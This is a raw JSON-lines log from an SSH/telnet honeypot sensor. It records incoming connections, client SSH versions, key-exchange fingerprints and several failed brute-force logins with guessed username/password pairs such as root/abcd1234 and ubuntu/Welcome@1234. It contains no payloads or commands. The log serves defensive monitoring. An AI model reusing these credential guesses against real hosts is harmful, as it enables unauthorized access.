{"eventid":"cowrie.login.failed","username":"ly","password":"12345678","message":"login attempt [ly/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:45.044780Z","src_ip":"91.92.40.36","session":"3aa057413373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:45.089424Z","src_ip":"91.92.40.36","session":"3a52e131baff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:46.139907Z","src_ip":"91.92.40.36","session":"3aa057413373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35496,"dst_ip":"10.17.0.5","dst_port":22,"session":"8102d14a5f2f","protocol":"ssh","message":"New connection: 91.92.40.36:35496 (10.17.0.5:22) [session: 8102d14a5f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:51.050650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:51.569638Z","src_ip":"91.92.40.36","session":"8102d14a5f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:52.231866Z","src_ip":"91.92.40.36","session":"8102d14a5f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43064,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be28c9e38b1","protocol":"ssh","message":"New connection: 38.93.206.2:43064 (10.17.0.5:22) [session: 9be28c9e38b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:52.694611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:52.697880Z","src_ip":"38.93.206.2","session":"9be28c9e38b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:52.751842Z","src_ip":"38.93.206.2","session":"9be28c9e38b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140281","message":"login attempt [root/140281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:52.906452Z","src_ip":"38.93.206.2","session":"9be28c9e38b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:53.965911Z","src_ip":"38.93.206.2","session":"9be28c9e38b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35534,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ecb7a5e0787","protocol":"ssh","message":"New connection: 91.92.40.36:35534 (10.17.0.5:22) [session: 9ecb7a5e0787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:54.564913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:55.180466Z","src_ip":"91.92.40.36","session":"9ecb7a5e0787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:55.185272Z","src_ip":"91.92.40.36","session":"9ecb7a5e0787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":40364,"dst_ip":"10.17.0.5","dst_port":22,"session":"a21871ddc207","protocol":"ssh","message":"New connection: 87.106.47.28:40364 (10.17.0.5:22) [session: a21871ddc207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:56.076392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:56.081239Z","src_ip":"87.106.47.28","session":"a21871ddc207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:56.177195Z","src_ip":"87.106.47.28","session":"a21871ddc207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paid","password":"paid","message":"login attempt [paid/paid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:56.597150Z","src_ip":"87.106.47.28","session":"a21871ddc207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:57.696621Z","src_ip":"87.106.47.28","session":"a21871ddc207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:57.846049Z","src_ip":"91.92.40.36","session":"8102d14a5f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:58.332808Z","src_ip":"91.92.40.36","session":"9ecb7a5e0787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32476,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b8ad10d26d","protocol":"ssh","message":"New connection: 91.92.40.36:32476 (10.17.0.5:22) [session: 25b8ad10d26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:00.076383Z"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:00.152625Z","src_ip":"91.92.40.36","session":"9ecb7a5e0787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:00.513180Z","src_ip":"91.92.40.36","session":"8102d14a5f2f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:00.699007Z","src_ip":"91.92.40.36","session":"25b8ad10d26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:00.724627Z","src_ip":"91.92.40.36","session":"25b8ad10d26d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jarvis","password":"jarvis","message":"login attempt [jarvis/jarvis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:03.605554Z","src_ip":"91.92.40.36","session":"25b8ad10d26d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:05.335006Z","src_ip":"91.92.40.36","session":"25b8ad10d26d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32514,"dst_ip":"10.17.0.5","dst_port":22,"session":"135e811f050f","protocol":"ssh","message":"New connection: 91.92.40.36:32514 (10.17.0.5:22) [session: 135e811f050f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:07.187166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:07.982830Z","src_ip":"91.92.40.36","session":"135e811f050f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:08.954080Z","src_ip":"91.92.40.36","session":"135e811f050f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84d4344dfb9","protocol":"ssh","message":"New connection: 91.92.40.36:51634 (10.17.0.5:22) [session: c84d4344dfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:13.175767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:13.762659Z","src_ip":"91.92.40.36","session":"c84d4344dfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:14.721543Z","src_ip":"91.92.40.36","session":"135e811f050f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:14.979222Z","src_ip":"91.92.40.36","session":"c84d4344dfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42662,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9b3271c1489","protocol":"ssh","message":"New connection: 91.92.40.36:42662 (10.17.0.5:22) [session: f9b3271c1489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:16.997402Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:17.183868Z","src_ip":"91.92.40.36","session":"135e811f050f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:18.005366Z","src_ip":"91.92.40.36","session":"f9b3271c1489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:18.010650Z","src_ip":"91.92.40.36","session":"f9b3271c1489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.769903898239136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:18.597155Z","src_ip":"103.249.87.183","session":"57e71695a78d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:20.266670Z","src_ip":"91.92.40.36","session":"c84d4344dfb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123","message":"login attempt [david/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:20.873826Z","src_ip":"91.92.40.36","session":"f9b3271c1489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd24ddc3f936","protocol":"ssh","message":"New connection: 103.77.175.15:44146 (159.203.135.109:22) [session: fd24ddc3f936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.151245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:21.156052Z","src_ip":"103.77.175.15","session":"fd24ddc3f936","protocol":"ssh"}
